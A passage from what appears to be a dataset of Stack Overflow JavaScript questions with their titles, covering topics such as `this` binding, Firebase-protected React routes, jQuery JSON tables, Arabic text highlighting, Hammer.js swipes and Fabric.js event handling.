in chrome.Chrome alerts the string foo , just as expected.Why does the output of Chrome differ from Node.js ? var a = 'foo ' ; var output ; // lets find a way to output strings in both// Chrome and Node.jsif ( typeof alert === 'undefined ' ) { output = console.log ; } else { output = alert ; } function getA ( ) { return this.a ; } var foo = getA ( ) ; output ( foo ) ; $ node foo.jsundefined < html > < head > < script src= '' foo.js '' type= '' text/javascript '' > < /script > < /head > < body > < /body > < /html >",Default binding of ` this ` is different from Chrome browser and Node.js "JS : I want to use the Flickr API method flickr.photos.search in JavaScript , to search for all my photos with a specific tag : ( To make it work , change { API_KEY } to a valid Flickr API key . ) My question is : Is it safe to include that key in client-side JavaScript ? I 've seen some tutorial sites doing it , but what 's to stop someone copying their API key ( or mine ) and going over the rate limits ? Of course , I could set up a very simple proxy running in Node.js that inserts the key ( probably even Apache or Nginx could do it ) , but it 's one more thing to set up and monitor.If there 's a safe , pure JavaScript solution , I 'll take that please . : ) Note , I am currently using this query which requires no authentication : However , the results appear to be no longer reflecting changes ( after at least a 24-hour wait ) . http : //api.flickr.com/services/rest/ ? method=flickr.photos.search & api_key= { API_KEY } & user_id=50001188 % 40N00 & tags=fazynet & format=rest http : //api.flickr.com/services/feeds/photos_public.gne ? id=50001188 @ N00 & tags=fazynet & format=json",Is it safe to use my Flickr API key in client-side JavaScript ? "JS : I am using below code to parse a JSON file , but I am getting undefined in each table column . < ! DOCTYPE html > < html > < head > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js '' > < /script > < script > $ ( document ) .ready ( function ( ) { var json = [ { `` RATE_UPLOAD_DATE '' : `` 07/01/2015 8:17 AM CT '' , `` GROUPS '' : [ { `` NAME '' : `` Conforming Fixed Rate Mortgage Purchase '' , `` PRODUCT '' : [ { `` DESCR '' : `` 30 Year Fixed Rate '' , `` RATE '' : `` 4.25 '' , `` APR '' : `` 4.277 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444902 & ResultId=58 '' } , { `` DESCR '' : `` 20 Year Fixed Rate '' , `` RATE '' : `` 4.125 '' , `` APR '' : `` 4.162 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444902 & ResultId=52 '' } , { `` DESCR '' : `` 15 Year Fixed Rate '' , `` RATE '' : `` 3.375 '' , `` APR '' : `` 3.422 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444902 & ResultId=45 '' } ] } , { `` NAME '' : `` Conforming Adjustable Rate Mortgage Purchase '' , `` PRODUCT '' : [ { `` DESCR '' : `` 3/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.625 '' , `` APR '' : `` 3.166 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444913 & ResultId=27 '' } , { `` DESCR '' : `` 5/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.25 '' , `` APR '' : `` 3.113 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444913 & ResultId=13 '' } , { `` DESCR '' : `` 7/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.5 '' , `` APR '' : `` 3.258 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444913 & ResultId=5 '' } , { `` DESCR '' : `` 10/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.75 '' , `` APR '' : `` 3.487 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444913 & ResultId=65 '' } ] } , { `` NAME '' : `` Jumbo Fixed Rate Purchase '' , `` PRODUCT '' : [ { `` DESCR '' : `` 30 Year Fixed Rate '' , `` RATE '' : `` 4.25 '' , `` APR '' : `` 4.265 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444921 & ResultId=6 '' } , { `` DESCR '' : `` 15 Year Fixed Rate '' , `` RATE '' : `` 3.5 '' , `` APR '' : `` 3.526 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444921 & ResultId=30 '' } ] } , { `` NAME '' : `` Jumbo Adjustable Rate Mortgage Purchase '' , `` PRODUCT '' : [ { `` DESCR '' : `` 3/1 Fully Amortizing ARM '' , `` RATE '' : `` 2.75 '' , `` APR '' : `` 2.959 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444935 & ResultId=56 '' } , { `` DESCR '' : `` 5/1 Fully Amortizing ARM '' , `` RATE '' : `` 3 '' , `` APR '' : `` 3.014 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444935 & ResultId=45 '' } , { `` DESCR '' : `` 7/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.25 '' , `` APR '' : `` 3.13 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444935 & ResultId=37 '' } , { `` DESCR '' : `` 5/1 Interest Only ARM '' , `` RATE '' : `` 3.125 '' , `` APR '' : `` 3.055 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444935 & ResultId=13 '' } , { `` DESCR '' : `` 10/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.5 '' , `` APR '' : `` 3.32 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444935 & ResultId=22 '' } ] } , { `` NAME '' : `` Conforming Fixed Rate Mortgage Refinance '' , `` PRODUCT '' : [ { `` DESCR '' : `` 30 Year Fixed Rate '' , `` RATE '' : `` 4.375 '' , `` APR '' : `` 4.402 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444940 & ResultId=62 '' } , { `` DESCR '' : `` 20 Year Fixed Rate '' , `` RATE '' : `` 4.25 '' , `` APR '' : `` 4.287 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444940 & ResultId=55 '' } , { `` DESCR '' : `` 15 Year Fixed Rate '' , `` RATE '' : `` 3.5 '' , `` APR '' : `` 3.547 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444940 & ResultId=47 '' } ] } , { `` NAME '' : `` Conforming Adjustable Rate Mortgage Refinance '' , `` PRODUCT '' : [ { `` DESCR '' : `` 3/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.75 '' , `` APR '' : `` 3.194 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444949 & ResultId=30 '' } , { `` DESCR '' : `` 5/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.375 '' , `` APR '' : `` 3.157 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444949 & ResultId=15 '' } , { `` DESCR '' : `` 7/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.625 '' , `` APR '' : `` 3.317 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444949 & ResultId=6 '' } , { `` DESCR '' : `` 10/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.875 '' , `` APR '' : `` 3.566 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444949 & ResultId=70 '' } ] } , { `` NAME '' : `` Jumbo Fixed Rate Refinance '' , `` PRODUCT '' : [ { `` DESCR '' : `` 30 Year Fixed Rate '' , `` RATE '' : `` 4.375 '' , `` APR '' : `` 4.39 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444962 & ResultId=6 '' } , { `` DESCR '' : `` 15 Year Fixed Rate '' , `` RATE '' : `` 3.625 '' , `` APR '' : `` 3.651 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444962 & ResultId=30 '' } ] } , { `` NAME '' : `` Jumbo Adjustable Rate Mortgage Refinance '' , `` PRODUCT '' : [ { `` DESCR '' : `` 3/1 Fully Amortizing ARM '' , `` RATE '' : `` 2.875 '' , `` APR '' : `` 2.986 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444969 & ResultId=56 '' } , { `` DESCR '' : `` 5/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.125 '' , `` APR '' : `` 3.058 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444969 & ResultId=45 '' } , { `` DESCR '' : `` 7/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.375 '' , `` APR '' : `` 3.188 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444969 & ResultId=37 '' } , { `` DESCR '' : `` 5/1 Interest Only ARM '' , `` RATE '' : `` 3.25 '' , `` APR '' : `` 3.097 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444969 & ResultId=13 '' } , { `` DESCR '' : `` 10/1 Fully Amortizing ARM '' , `` RATE '' : `` 3.625 '' , `` APR '' : `` 3.397 '' , `` POINTS '' : `` 0 '' , `` < PAYMENT_STREAM_URL > '' : `` https : //publicservices.mortgagewebcenter.com/PaymentStream.aspx ? CobranderId=1152 & CriteriaId=113444969 & ResultId=22 '' } ] } ] } ] ; var tr ; for ( var i = 0 ; i < json.length ; i++ ) { tr = $ ( ' < tr/ > ' ) ; tr.append ( `` < td > '' + json [ i ] .DESCR + `` < /td > '' ) ; tr.append ( `` < td > '' + json [ i ] .RATE + `` < /td > '' ) ; tr.append ( `` < td > '' + json [ i ] .APR + `` < /td > '' ) ; tr.append ( `` < td > '' + json [ i ] .POINTS + `` < /td > '' ) ; $ ( 'table ' ) .append ( tr ) ; } } ) ; < /script > < /head > < body > < table > < tr > < th > PRODUCT < /th > < th > RATE < /th > < th > APR* < /th > < th > POINTS < /th > < /tr > < /table > < /body > < /html >",Parsing JSON to HTML table using jQuery "JS : I am writing a basic CRUD React app that uses Firebase for authentication . At the moment I am trying to create a protected route for a component named Dashboard . The protected route insures that any encapsulated routes ( such as the Dashboard ) do not render unless the user is authenticated.If the user is not authenticated then the router redirects to the landing page.The way that I am accomplishing this is modelled on this article : I have emulated the pattern in the article above and it works fine . When I incorporate firebase ( specifically firebase authentication ) my app does not render the Dashboard component even when a user has logged in . Instead it simply redirects to the landning pageI know what the problem is ( I think ) but I am unsure how to fix it.The problem is that the call to firebase is an async operation and the dashboard attempts to load before the call to firebase is resolved.I want to know if their are any tweaks to my code I can make to fix this.I could make an api call to firebase every time the user loads a protected route ( to check for authentication ) but I would prefer to set the authentication on the state of the Context and reference that state until the user either logs in or logs out.I 've placed the relevant code below . All files are in the src directoryThank you ! App.jsPageComponents/Context.jsPageComponents/DashboardPageComponents/ProtectedRouteservices/authentication import React , { Component } from 'react ' ; import { BrowserRouter , Route , Redirect } from `` react-router-dom '' ; import { Switch } from 'react-router ' ; import Landing from './PageComponents/Landing ' ; import { Provider } from './PageComponents/Context ' ; import Dashboard from './PageComponents/Dashboard ' ; import ProtectedRoute from './PageComponents/ProtectedRoute ' ; class App extends Component { render ( ) { return ( < div className= '' App '' > < Provider > < BrowserRouter > < div > < Switch > < Route exact= { true } path= '' / '' component= { Landing } / > < ProtectedRoute exact path= '' /dashboard '' component= { Dashboard } / > < /Switch > < /div > < /BrowserRouter > < /Provider > < /div > ) ; } } export default App ; import React from 'react ' ; import { getUser } from '../services/authentication ' ; let Context = React.createContext ( ) ; class Provider extends React.Component { state = { userID : true , user : undefined , authenticated : false } async getUser ( ) { try { let user = await getUser ( ) ; return user } catch ( error ) { console.log ( error.message ) } } async componentDidMount ( ) { console.log ( `` waiting to get user '' ) let user = await this.getUser ( ) ; console.log ( user ) console.log ( `` got user '' ) this.setState ( { userID : user.uid , user : user , authenticated : true } ) } render ( ) { console.log ( this.state ) return ( < Context.Provider value= { { state : this.state } } > { this.props.children } < /Context.Provider > ) } } const Consumer = Context.Consumer ; export { Provider , Consumer } ; import * as React from 'react ' ; import { Consumer } from '../../PageComponents/Context ' ; class Dashboard extends React.Component { render ( ) { console.log ( `` Dashboard component loading ... . '' ) return ( < Consumer > { ( state ) = > { console.log ( state ) return ( < div > < p > Dashboard render < /p > < /div > ) } } < /Consumer > ) } } export default Dashboard import React from 'react ' ; import { Route , Redirect } from 'react-router-dom ' ; import { Consumer } from '../PageComponents/Context ' ; const ProtectedRoute = ( { component : Component , ... rest } ) = > { console.log ( `` Middleware worked ! `` ) ; return ( < Consumer > { ( context ) = > { /*________________________BEGIN making sure middleware works and state is referenced */ console.log ( context ) ; console.log ( `` Middle ware '' ) ; /*________________________END making sure middleware works and state is referenced */ console.log ( context.getState ( ) .authenticated + `` < -- - is authenticated from ProtectedRoute . true or false ? '' ) if ( context.state.authenticated ) { return ( < Route { ... rest } render= { renderProps = > { console.log ( renderProps ) ; return ( < Component { ... renderProps } / > ) } } / > ) } else { return < Redirect to= '' / '' / > } } } < /Consumer > ) } ; export default ProtectedRoute ; import firebase from '../../services/firebase'const getUser = ( ) = > { return new Promise ( ( resolve , reject ) = > { // Step 3 . Return a promise //___________________ wrapped async function firebase.auth ( ) .onAuthStateChanged ( ( user ) = > { if ( user ) { resolve ( user ) ; //____This is the returned value of a promise } else { reject ( new Error ( `` Get user error '' ) ) } } ) //_____________________END wrapped async function } ) ; } export { getUser }","Problem with protected routes , context API and firebase user authentication request" "JS : I 'm doing search engine for Arabic which should highlight match result in red . Given 2 string : I want to highlight match words and diacritics on the second string . The first image is the keyword to search , the second image is what I hope to achieve : In the desired result image , only matched words and `` diacritic/dhabt '' will be highlighted . I tried to accomplish this with these codes : And the result : Then I split , loop and compare for each character but the result is garbage : Then I found about zero-width joiner here : Partially colored Arabic word in HTML and after implement the technique , the final result still not 100 % accurate : Here 're my final codes and need you help to polish or advice : Keyword : بِسْمِ ٱلرحمن ٱلرحيم ملكResult : بِسْمِ ٱللَّهِ ٱلرَّحْمَٰنِ ٱلرَّحِيمِ var keyword = removeDhabt ( ' بِسْمِ ٱلرحمن ٱلرحيم ملك ' ) .split ( ' ' ) ; var source = ' بِسْمِ ٱللَّهِ ٱلرَّحْمَٰنِ ٱلرَّحِيمِ'.split ( ' ' ) ; for ( var b=0 ; b < source.length ; b++ ) { for ( var c=0 ; c < keyword.length ; c++ ) { if ( keyword [ c ] ==removeDhabt ( source [ b ] ) ) source [ b ] = ' < red > '+source [ b ] + ' < /red > ' ; } } $ ( target ) .html ( source ) ; function removeDhabt ( s ) { return s.replace ( /ِ/g , '' ) .replace ( /ُ/g , '' ) .replace ( /ٓ/g , '' ) .replace ( /ٰ/g , '' ) .replace ( /ْ/g , '' ) .replace ( /ٌ/g , '' ) .replace ( /ٍ/g , '' ) .replace ( /ً/g , '' ) .replace ( /ّ/g , '' ) .replace ( /َ/g , '' ) ; } var keyword = removeDhabt ( ' بِسْمِ ٱلرحمن ٱلرحيم ملك ' ) .split ( ' ' ) ; var source = ' بِسْمِ ٱللَّهِ ٱلرَّحْمَٰنِ ٱلرَّحِيمِ'.split ( ' ' ) ; for ( var b=0 ; b < source.length ; b++ ) { for ( var c=0 ; c < keyword.length ; c++ ) { if ( keyword [ c ] ==removeDhabt ( source [ b ] ) ) { var newSource = source [ b ] .split ( `` ) ; var e = 0 ; for ( var d=0 ; d < keyword [ c ] .length ; d++ ) { while ( keyword [ c ] [ d ] ! =newSource [ e ] ) e++ ; newSource [ e ] = ' < red > '+newSource [ e ] + ' & zwj ; < /red > ' ; } source [ b ] = newSource.join ( `` ) ; } } } $ ( target ) .html ( source ) ; function removeDhabt ( s ) { return s.replace ( /ِ/g , '' ) .replace ( /ُ/g , '' ) .replace ( /ٓ/g , '' ) .replace ( /ٰ/g , '' ) .replace ( /ْ/g , '' ) .replace ( /ٌ/g , '' ) .replace ( /ٍ/g , '' ) .replace ( /ً/g , '' ) .replace ( /ّ/g , '' ) .replace ( /َ/g , '' ) ; }",Highlight Match Words of Two Arabic String ( Javascript ) "JS : Lets say i create a localstorage key and give it an empty string . Does the name of the keyitem take up the same amount of space as the value would per character ? for instance doesAlso , does the amount of keys matter ? for instance localStorage.setItem ( `` keyitem '' , '' '' ) //Equal the space of this other one under ? localStorage.setItem ( `` key '' , '' item '' ) ; localStorage.setItem ( `` key '' , '' '' ) ; //Equal the amount of storage as the 3 under combined ? localStorage.setItem ( `` k '' , '' '' ) ; localStorage.setItem ( `` o '' , '' '' ) ; localStorage.setItem ( `` h '' , '' '' ) ;",How much space does the localstorage key itself take up ? "JS : I ca n't recognize swipes in my Angular app using Hammer.JS . It 's setup like this : app.module.ts is looking like this : app.component.ts has this method : And finaly app.component.html looks like this : However , neither swipeleft or swiperight are triggered ever using an iPad or iPhone both running iOS 13.Am I missing any crucial configuration ? Or do I have another issue with this code ? I also tested this Stackblitz `` blog-ng-swiping '' which is working fine on the touch devices , but it 's using Angular 8 . `` @ angular/core '' : `` ~9.0.0-next.6 '' , '' hammerjs '' : `` ^2.0.8 '' , '' zone.js '' : `` ~0.10.2 '' import { BrowserModule , HammerGestureConfig , HAMMER_GESTURE_CONFIG } from ' @ angular/platform-browser ' ; import * as hammer from 'hammerjs ' ; export class MyHammerConfig extends HammerGestureConfig { overrides = < any > { swipe : { direction : hammer.DIRECTION_HORIZONTAL } , pinch : { enable : false } , rotate : { enable : false } } ; } @ NgModule ( { imports : [ BrowserModule , ] , providers : [ { provide : HAMMER_GESTURE_CONFIG , useClass : MyHammerConfig } ] , } ) onSwipe ( ) { console.log ( 'swipe ' ) ; } < div ( swipeleft ) = '' onSwipe ( ) '' ( swiperight ) = '' onSwipe ( ) '' > < h1 > Swipe here < /h1 > < /div >",App wo n't recognize swipes using Hammer.JS and HammerGestureConfig in Angular 9 "JS : I ran across this strange side effect of array.splice , and distilled the code down to the minimum necessary to recreate . Yes , much of this could be done on one line with array.filter , but I 'm interested in whether I 've made a mistake or if something else is going on.Running this javascript results in the odd elements being removed as expected , but it also removed the item.odd values for items 2 , 4 , 6 , and 8 . Removing the intArray.splice line brings back the odd array elements , but it also brings back the item.odd values for all elements . I 've tested this in FF and Chrome . The behavior persists even if only the item is passed into the callback , with the index calculated via array.indexOf , and referencing the array from outside the loop . var array = [ ] ; for ( var i = 0 ; i < 10 ; i++ ) { array.push ( { value : i } ) ; } array.forEach ( function ( item , index , intArray ) { if ( item.value % 2 == 1 ) { item.odd = true ; } else { item.odd = false ; } if ( item.odd ) { console.log ( `` Removing `` + item.value ) ; intArray.splice ( index , 1 ) ; } } ) ; console.log ( array ) ;",array.splice removing values from remaining elements "JS : I have an array setup similar to this : ary1 and ary2 indexes are info related to each other in the grand scheme of things.I can sort ( ) ary1 and get : but if I sorted ary2 independently I would get : which visually breaks ary1 and ary2 connections when listed out . Can I retrieve ary1 's sorted solution and apply that to ary2 ? I want to get this : If not , could mdAry be sorted so that it applies mdAry [ 0 ] sorted solution to the remaining indicies ? var ary1 = new Array ( `` d '' , `` a '' , `` b '' , `` c '' ) ; var ary2 = new Array ( `` ee '' , `` rr '' , `` yy '' , `` mm '' ) ; var mdAry = new Array ( ary1 , ary2 ) ; d eea rrb yyc mm abcd eemmrryy a rrb yyc mmd ee",Javascript : Sort multi dimensional Array based on first arrays sort results "JS : I know how to do plugins , but how do I do nested options like : i know that is n't right , i just dont know how to write the proper syntax when I want to do something like this : other suggestions are welcome , im in need of the ability to custom class names and there are 7 , so rather than making something like test_class , example_class , etc id like it cleaner and neater like the example above . var defaults = { spacing:10 , shorten_to:50 , from_start:0 , from_end:2 , classes : { test : 'testing ' } } ; $ ( ' # breadcrumbs ' ) .breadcrumbs ( { classes { test : 'new_example ' } , spacing:12 } )",How do I make nested options for plugins in jQuery "JS : I am writing simple audio player using react-native . And i have got an issue about passing props to component across react-redux connect method.Here is my Container code : And here is few methods from componentWhen song loads and stores value 'playing ' becomes true , components method componentWillReceiveProps calls , but this.props.playing flag is false in spite of it is true in mapStateToProps.But after componentWillReceiveProps render calls and this.props.playing is true there . import { connect } from 'react-redux ' ; import Music from './Music ' ; import MusicActions from '../../Actions/MusicActions ' ; const mapStateToProps = store = > ( { tracksObject : store.MusicReducer.get ( 'tracks ' ) , isLoaded : store.MusicReducer.get ( 'isLoaded ' ) , isLoading : store.MusicReducer.get ( 'isLoading ' ) , playing : store.MusicReducer.get ( 'playing ' ) , duration : store.MusicReducer.get ( 'duration ' ) , } ) ; const mapDispatchToProps = dispatch = > ( { movePan : value = > dispatch ( MusicActions.movePan ( value ) ) , } ) ; export default connect ( mapStateToProps , mapDispatchToProps ) ( Music ) ; componentWillReceiveProps ( ) { if ( this.props.playing ) { const step = this.props.duration * 0.025 ; const stepFrequency = this.props.duration / step ; const intervalID = setInterval ( ( ) = > this.setState ( state = > ( { sliderValue : ( state.sliderValue + step ) } ) ) , stepFrequency , ) ; this.setState ( { intervalID } ) ; } } render ( ) { return ( < View style= { styles.view } > < View > { this.renderSongList ( ) } < /View > < Slider value= { this.state.sliderValue } onValueChange= { ( value ) = > { this.onSliderChange ( value ) ; } } style= { styles.slider } minimumTrackTintColor= '' # ba383a '' thumbStyle= { { top : 22 , backgroundColor : ' # ba383a ' } } / > < /View > ) ; }",React-redux connect passes props too late "JS : I have array of categories that has this structure : So each category has it 's main category . I would like to display all categories in html like so : how should I achieve it ? The only way I found was doing something like this : It works but I do n't think it 's a good idea . { name : 'something ' , main_category : ' A ' } < h1 > A < /h1 > < ul > < li > list of categories that has main category A < /li > < /ul > < h1 > B < /h1 > < ul > < li > list of categories that has main category B < /li > < /ul > < h1 > A < /h1 > < ul > < li ng-repeat= '' category in categories '' ng-if= '' category.main_category == ' A ' '' > .. < /li > < /ul > < h1 > B < /h1 > < ul > < li ng-repeat= '' category in categories '' ng-if= '' category.main_category == ' B ' '' > .. < /li > < /ul >",angular.js ng-repeat division "JS : In Chrome , everything works , but in Firefox , the bindings are never updated.It seems like the problem has to do with core-js and/or zone.js : https : //github.com/AngularClass/angular2-webpack-starter/issues/709https : //github.com/angular/angular/issues/9385These issues are fixed , but I 'm at the latest version of angular ( v2.4.9 ) and it does n't work.I import polyfill.ts , which is : In main.ts . I tried putting the zone.js import before the core-js imports as suggested in one of the Github tickets , but it does not work.Is there another polyfill that I need to include or link in my index.html ? Edit # 1It seems like it 's actually working 50 % of the time in Firefox . If I refresh the page , it will render the page correctly every other time . When it does n't work , absolutely no bindings are working ; event callbacks are not executed , { { ... } } bindings are not rendered , etc.Edit # 2This bug is actually caused by Polymer 's platform.js ( polyfills for Polymer ) which I am linking in my index.html . If I remove it , the bindings start to work again . I have implemented this Midi synth in my application and it uses Polymer , which requires platform.js . So it seems that there is a conflict between platform.js and Angular2 in Firefox . Is there a way I can resolve this conflict ? import 'core-js/es6/symbol ' ; import 'core-js/es6/object ' ; import 'core-js/es6/function ' ; import 'core-js/es6/parse-int ' ; import 'core-js/es6/parse-float ' ; import 'core-js/es6/number ' ; import 'core-js/es6/math ' ; import 'core-js/es6/string ' ; import 'core-js/es6/date ' ; import 'core-js/es6/array ' ; import 'core-js/es6/regexp ' ; import 'core-js/es6/map ' ; import 'core-js/es6/set ' ; import 'core-js/es6/reflect ' ; import 'core-js/es7/reflect ' ; import 'zone.js/dist/zone ' ;",Change detection is n't run properly in Firefox "JS : I 'm trying to get an optional lookahead but am having problems where as soon as I make it optional ( add a ? after it ) , it no longer matches even when the data is there.As a brief summary , I 'm trying to pull specific querystring params out of a URI . Example : I 'll break that out a bit : The above example works perfectly under the condition that both foo and bar exist as parameters in the querystring . The issue is that I 'm trying to make these optional , so I changed it to : and it no longer matches any parameters , though it still matches foo.html . Any ideas ? /.*foo.html\ ? ? ( ? =.*foo= ( [ ^\ & ] + ) ) ( ? = . *bar= ( [ ^\ & ] + ) ) / .exec ( 'foo.html ? foo=true & bar=baz ' ) .*foo.html\ ? ? // filename == ` foo.html ` + ' ? ' ( ? = . *foo= ( [ ^\ & ] + ) ) // find `` foo= ... . '' parameter , store the value ( ? = . *bar= ( [ ^\ & ] + ) ) // find `` bar= ... . '' parameter , store the value /.*foo.html\ ? ? ( ? =.*foo= ( [ ^\ & ] + ) ) ? ( ? = . *bar= ( [ ^\ & ] + ) ) ? / ↑ ↑ Added these question marks ─┴──────────────────┘",optional regex lookahead "JS : I 'm using PHP , jQuery , AJAX , etc . for my website . I 'm showing a youtube video into a jQuery pop-up window . This pop-up window has close button at top right corner . When user clicks on this close button the pop-up window should get close and youtube video should get stop . This is working perfectly in Mozilla Firefox but not in Google Chrome and Internet Explorer . In Google Chrome and Internet Explorer , the pop-up window gets closed after clicking on the close button but the video runs in the background . The voice of youtube video comes even after closing the pop-up window . I 'm not understanding why this thing is happening . Can anyone help me in this regard ? Thanks for spending some of your valuable time in understanding my issue . Waiting for your replies . For your reference I 'm putting below the HTML and jQUery-AJAX code of the functionality . Take a look at it.HTML Code : jQuery-AJAX Code : Thanks in advance . < div class= '' parter-mid '' > < a href= '' # '' class= '' show_video_popup '' > < img src= '' images_new/videoimage.jpg '' border= '' 0 '' alt= '' Our Website on television '' width= '' 243 '' / > < /a > < /div > < script language= '' javascript '' type= '' text/javascript '' > $ ( `` .show_video_popup '' ) .click ( function ( e ) { e.preventDefault ( ) ; var dialog_title = `` Our Website on Television '' ; var dialog_message = `` < iframe width='560 ' height='315 ' src='//www.youtube.com/embed/hj-c_cDKj0g ? autoplay=1 ' frameborder= ' 0 ' allowfullscreen > < /iframe > '' ; var $ dialog = $ ( `` < div class='forget_pass ' > < /div > '' ) .html ( dialog_message ) .dialog ( { autoOpen : false , modal : true , title : dialog_title , width : 590 , close : { } } ) ; $ dialog.dialog ( 'open ' ) ; } ) ; < /script >",Why the youtube video is running in the background after clicking on close button of pop-up window in Google Chrome & Internet Explorer ? "JS : I have a gallery with magnific popup with a share button as titleSrc . This is called on button click : This is the magnific popup call : I´m getting the href of the clicked image and pass it to the callFacebook function . The first time I click the share button it just shows the standard og : tags . When I close this window and click the share button again – it works . The image shows up at the share dialog . Any ideas why ? function callFacebook ( item ) { console.log ( item ) ; FB.ui ( { method : 'feed ' , link : item , caption : 'Die besten Party-Pics bei party-news.de ' , } , function ( response ) { console.log ( response ) ; } ) ; } $ ( '.gallery ' ) .magnificPopup ( { delegate : ' a ' , // child items selector , by clicking on it popup will open type : 'image ' , gallery : { enabled : true , tCounter : ' % curr % von % total % ' , preload : false } , image : { verticalFit : false , titleSrc : function ( item ) { var image = item.el.attr ( `` href '' ) ; return ' < a class= '' shareFacebook '' onclick= '' callFacebook ( \ '' +image+'\ ' ) '' target= '' _blank '' > < i class= '' fa fa-facebook-official '' > < /i > & nbsp ; Foto teilen < /a > ' ; } } , tClose : 'Schliessen ' , tLoading : 'Lade Bild ... ' , // other options } ) ;",Magnific popup facebook share button works just on second click "JS : This is a pretty simple question but I ca n't seem to find an answer.I have a fabricjs canvas instance with a mouse eventListener attached . I also have a bunch of objects with mouse eventListeners . I do not want mouse events on the objects to get passed through to the canvas . stopPropagation and/or stopImmediatePropagation do n't stop the events.Am I using these methods wrong ? Or is there a Fabricjs way to handle this ? Method on a class wrapping a Fabricjs canvas instanceMethod on a Fabricjs subclass : this.canvas.on ( `` mouse : down '' 